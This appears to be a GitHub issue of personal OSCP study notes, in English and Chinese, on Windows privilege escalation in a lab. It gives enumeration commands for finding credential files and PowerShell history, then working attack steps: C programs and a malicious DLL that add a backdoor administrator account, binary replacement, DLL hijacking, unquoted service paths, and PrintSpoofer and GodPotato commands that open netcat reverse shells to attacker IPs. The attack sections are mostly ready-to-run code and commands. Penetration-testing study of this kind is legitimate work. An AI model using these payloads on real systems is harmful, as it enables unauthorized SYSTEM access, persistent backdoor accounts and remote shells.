WDavid404 / OSCP

0 stars 0 forks source link

16. Windows Privilege Escalation #17

Open WDavid404 opened 6 months ago

WDavid404 commented 6 months ago

常用命令:

systeminfo

///关键文件查找
PS C:\Users\dave > Get-ChildItem -Path C:\Users -Include *log*,*backup*,*ini,*.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
///kdbx文件搜索
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

///priv check
whoami /priv

//// List up services runing 运行的服务一览
PS C:\Users\dave> Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

///提取某个service的info
PS C:\Users\dave> Get-CimInstance -ClassName win32_service | Where-Object {$_.Name -like 'freeSWITCH'}

## schedule task  task一览
PS C:\Users\steve> schtasks /query /fo LIST /v | select-string "Task To Run:"
PS c:\users\steve> get-scheduledtask

## env variables
echo $env:path ----> shows all path info without skip..
Get-ChildItem -Path Env:
Get-ChildItem -Path Env:PATH

PS C:\Users\dave> Get-LocalGroupMember administrators

PS C:\Users\dave> Get-History
PS C:\Users\dave> (Get-PSReadlineOption).HistorySavePath
PS C:\Users\dave> icacls "C:\xampp\apache\bin\httpd.exe"
PS C:\Users\dave> icacls "C:\Program Files"
PS C:\Users\dave> Restart-Service BetaService

### pspy
https://github.com/DominicBreuker/pspy

target$ timeout 5m ./pspy64
## This will run the pspy executable and then terminate it automatically after 5 minutes. Can do with seconds too, e.g. 180s.
WDavid404 commented 6 months ago

16.1. Enumerating Windows

16.1.1. Understanding Windows Privileges and Access Control Mechanisms

The following listing contains some useful well-known SIDs in the context of privilege escalation.

S-1-0-0                       Nobody        
S-1-1-0                       Everybody
S-1-5-11                      Authenticated Users
S-1-5-18                      Local System
S-1-5-domainidentifier-500    Administrator

Situational Awareness

There are several key pieces of information we should always obtain:

https://github.com/WDavid404/Note_tryhackme/issues/9#issuecomment-1786546644

Hidden in Plain View

For example, sensitive information may be stored in meeting notes, configuration files, or onboarding documents. With the information we gathered in the situational awareness process, we can make educated guesses on where to find such files.

PS C:\Users\dave> Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
PS C:\Users\dave> Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue

PS C:\Users\dave> Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
image

image

Runas allows us to run a program as a different user. Runas can be used with local or domain accounts as long as the user has the ability to log on to the system. Without access to a GUI we cannot use Runas since the password prompt doesn't accept our input in commonly used shells.

PS C:\Users\steve> runas /user:backupadmin cmd
Enter the password for backupadmin:
Attempting to start cmd as user "CLIENTWK220\backupadmin" ...
PS C:\Users\steve> 

Once the password is entered, a new command line window appears. The title of the new window states running as CLIENTWK220\backupadmin. image

WDavid404 commented 6 months ago

16.1.4. Information Goldmine PowerShell

PowerShell artifacts such as the history file of PSReadline or transcript files are often a treasure trove of valuable information.

PS C:\Users\dave> Get-History
PS C:\Users\dave> (Get-PSReadlineOption).HistorySavePath
image

PS C:\Users\dave> type C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Beside, event viewer for "script block logging" may have valuable info.

EventId: 4104 / 0x1008
Channel : Operational
Level: Verbose

image https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.2

WDavid404 commented 6 months ago

16.1.5. Automated Enumeration

winPEAS tool

Installation on Kali: sudo apt install peass https://www.kali.org/tools/peass-ng/

On Kali

kali@kali:~$ cp /usr/share/peass/winpeas/winPEASx64.exe .

kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

copy tool to the target windows PC

kali@kali:~$ nc 192.168.50.220 4444
Microsoft Windows [Version 10.0.22000.318]
(c) Microsoft Corporation. All rights reserved.

C:\Users\dave> powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\dave> iwr -uri http://192.168.118.2/winPEASx64.exe -Outfile winPEAS.exe
iwr -uri http://192.168.118.3/winPEASx64.exe -Outfile winPEAS.exe

Run tool

C:\Users\dave> .\winPEAS.exe
...
+] Legend:
         Red                Indicates a special privilege over an object or something is misconfigured
         Green              Indicates that some protection is enabled or something is well configured
         Cyan               Indicates active users
         Blue               Indicates disabled users
         LightYellow        Indicates links

不能执行这种命令--》 C:\Users\dave> .\winPEAS.exe > result.txt

Seatbelt

https://github.com/GhostPack/Seatbelt Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.

Seatbelt.exe https://github.com/r3motecontrol/Ghostpack-CompiledBinaries git clone https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.git

WDavid404 commented 6 months ago

16.2. Leveraging Windows Services

16.2. Leveraging Windows Services

During the installation, the developer does not secure the permissions of the program, allowing full Read and Write access to all members of the Users group. As a result, a lower-privileged user could replace the program with a malicious one. Once the service is restarted, the malicious binary will be executed with the privileges of the service, such as LocalSystem.

To get a list of all installed Windows services, we can choose various methods such as the GUI snap-in services.msc, the Get-Service Cmdlet, or the Get-CimInstance Cmdlet (superseding Get-WmiObject).

PS C:\Users\dave> Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
## 

Based on the output in Listing 40, the two XAMPP services Apache2.4 and mysql stand out as the binaries are located in the C:\xampp\ directory instead of C:\Windows\System32.

The icacls utility outputs the corresponding principals and their permission mask. The most relevant permissions and their masks are listed below:

image
PS C:\Users\dave> icacls "C:\xampp\apache\bin\httpd.exe"
C:\xampp\apache\bin\httpd.exe BUILTIN\Administrators:(F)
                              NT AUTHORITY\SYSTEM:(F)
                              BUILTIN\Users:(RX)
                              NT AUTHORITY\Authenticated Users:(RX)

Successfully processed 1 files; Failed processing 0 files

As member of the built-in Users group, dave only has Read and Execute (RX) rights on httpd.exe, meaning we cannot replace the file with a malicious binary.

adduser.c

#include <stdlib.h>

int main ()
{
  int i;

  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");

  return 0;
}

cross-compile the code on our Kali machine with mingw-64. kali@kali:~$ x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

PS C:\Users\dave> iwr -uri http://192.168.119.3/adduser.exe -Outfile adduser.exe  
PS C:\Users\dave> move C:\xampp\mysql\bin\mysqld.exe mysqld.exe
PS C:\Users\dave> move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe

PS C:\Users\dave> net stop mysql
System error 5 has occurred.

Access is denied.

Unfortunately, dave doesn't have sufficient permissions to stop the service. This is expected as most services are only managed by administrative users. Let's check the Startup Type of the mysql service with the help of the Get-CimInstance Cmdlet by selecting Name and StartMode as well as filter for the string "mysql" with Where-Object.

PS C:\Users\dave> Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

Name  StartMode
----  ---------
mysql Auto

In order to issue a reboot, our user needs to have the privilege SeShutDownPrivilege assigned. We can use whoami with /priv to get a list of all privileges.

image

Our user has the privilege in question (among others) and therefore, we should be able to initiate a system shutdown or reboot. The Disabled state only indicates if the privilege is currently enabled for the running process. In our case, it means that whoami has not requested and is not currently using the SeShutdownPrivilege privilege. If the SeShutdownPrivilege privilege was not present, we would have to wait for the victim to manually start the service, which would be much less convenient. Reboot the machine. PS C:\Users\dave> shutdown /r /t 0 After reboot, let's list the members of the local Administrators group with Get-LocalGroupMember to check if dave2 was created and added to it.

PS C:\Users\dave> Get-LocalGroupMember administrators

ObjectClass Name                      PrincipalSource
----------- ----                      ---------------
User        CLIENTWK220\Administrator Local
User        CLIENTWK220\BackupAdmin   Local
User        CLIENTWK220\dave2         Local
User        CLIENTWK220\daveadmin     Local
User        CLIENTWK220\offsec        Local

Additionally, an automated tool named PowerUp.ps1 and check if it detects this privilege escalation vector.

kali@kali:~$ cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .

kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ..
PS C:\Users\dave> iwr -uri http://192.168.119.3/PowerUp.ps1 -Outfile PowerUp.ps1

PS C:\Users\dave> powershell -ep bypass
...
PS C:\Users\dave>  . .\PowerUp.ps1

PS C:\Users\dave> Get-ModifiableServiceFile
image

The output of Get-ModifiableServiceFile shows us that PowerUp identified mysql (among others) to be vulnerable. In addition, it provides information about the file path, the principal (BUILTIN\Users group), and if we have permissions to restart the service (False).

PowerUp also provides us an AbuseFunction (e.g. Install-ServiceBinary), which is a built-in function to replace the binary and, if we have sufficient permissions, restart it. The default behavior is to create a new local user called john with the password Password123! and add it to the local Administrators group. Because we don't have enough permissions to restart the service, we still need to reboot the machine.

WDavid404 commented 6 months ago

16.2.2. Service DLL Hijacking

The following listing shows the standard search order taken from the Microsoft Documentation:

1. The directory from which the application loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory. 
5. The current directory.
6. The directories that are listed in the PATH environment variable.

How to confirm PATH env variable --》 PS C:\Users\steve> $env:path

场景:目标是 BetaServ.exe 通过icacls获知我们对BetaServ没有修改权限。 使用 C:\tools\Procmon\Procmon64.exe 调查 image We enter the following arguments: Process Name as Column, is as Relation, BetaServ.exe as Value, and Include as Action. Once entered, we'll click on Add. After applying the filter, the list is empty. In order to analyze the service binary, we should try restarting the service as the binary will then attempt to load the DLLs.

PS C:\Users\steve> Restart-Service BetaService
WARNING: Waiting for service 'BetaService (BetaService)' to start...

image It shows that the CreateFile calls attempted to open a file named myDLL.dll in several paths. The Detail column states NAME NOT FOUND for these calls, which means that a DLL with this name couldn't be found in any of these paths.

Make a DLL and put it in the Documents folder of steve (上图里第一行要locate DLL的位置)

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
        i = system ("net user dave2 password123! /add");
        i = system ("net localgroup administrators dave2 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

compile it kali@kali:~$ x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll then,

PS C:\Users\steve> cd Documents
PS C:\Users\steve\Documents> iwr -uri http://192.168.119.3/myDLL.dll -Outfile myDLL.dll

PS C:\Users\steve\Documents> Restart-Service BetaService
PS C:\Users\steve\Documents> net user
WDavid404 commented 6 months ago

16.2.3. Unquoted Service Paths

Let's show this in an example with the unquoted service binary path C:\Program Files\My Program\My Service\service.exe. When Windows starts the service, it will use the following order to try to start the executable file due to the spaces in the path.

C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe
image

Let's enter this command in cmd.exe instead of PowerShell to avoid escaping issues for the quote in the second findstr command

wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

image

Let's list the paths Windows uses to attempt locating the executable file of the service.

C:\Program.exe
C:\Program Files\Enterprise.exe
C:\Program Files\Enterprise Apps\Current.exe
C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe

Next,use icacls to check which path where we have permission to modify. (skip)

PowerUp can also identifie this vulnerability

image

Let's use the AbuseFunction and restart the service to attempt to elevate our privileges

image
WDavid404 commented 6 months ago

16.3. Abusing Other Windows Components

16.3.1. Scheduled Tasks

schtasks /query /fo LIST /v

image image image

16.3.2. Using Exploits

The first kind is to exploit application-based vulnerabilities. The second kind is to exploit vulnerabilities in the Windows Kernel. The last kind is to abuse certain Windows privileges. Non-privileged users with assigned privileges, such as SeImpersonatePrivilege, can potentially abuse those privileges to perform privilege escalation attacks.

IIS

In most configurations, IIS will run as LocalService, LocalSystem, NetworkService, or ApplicationPoolIdentity, which all have SeImpersonatePrivilege assigned. This also applies to other Windows services.

name pipe

Once a client connects to a named pipe, the server can leverage SeImpersonatePrivilege to impersonate this client after capturing the authentication from the connection process.

PrintSpoofer

Created by itm4n, which implements a variation of the printer bug to coerce NT AUTHORITY\SYSTEM into connecting to a controlled named pipe. We can use this tool in situations where we have code execution as a user with the privilege SeImpersonatePrivilege to execute commands or obtain an interactive shell as NT AUTHORITY\SYSTEM.

wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe

image image

.\PrintSpoofer64.exe -i -c powershell.exe

image image
WDavid404 commented 6 months ago

Other reference:

https://github.com/WDavid404/Note_tryhackme/issues/2#issuecomment-1772622181

WDavid404 commented 6 months ago

Some lession

Q3

WDavid404 commented 4 months ago

GodPotato

Download: https://github.com/BeichenDream/GodPotato/releases --> select Net4 version.

If SEImpersonatePrivileges is enabled, we can use GoPotato to priv escalation.

./GodPotato-NET4.exe -cmd "C:\Users\adrian\nc64.exe -e c:\windows\system32\cmd.exe 192.168.45.243 4445" .\GodPotato-NET4.exe -cmd "c:\users\tony\rev2.exe"

certutil -urlcache -f http://192.168.45.205/nc64.exe  c:/users/public/downloads/nc.exe
.\godpotato.exe -cmd "nc.exe -t -e C:\Windows\System32\cmd.exe 192.168.45.205 9001"
## Note: -t flag:  This makes it possible to use nc to script telnet sessions.
WDavid404 commented 1 day ago

fix windows env path:

set PATH=%PATH%;C:\windows\system32;C:\windows;C:\windows\System32\Wbem;C:\windows\System32\WindowsPowerShell\v1.0\;C:\windows\System32\OpenSSH\;C:\Program Files\dotnet\

confirm PATH variable

echo %PATH%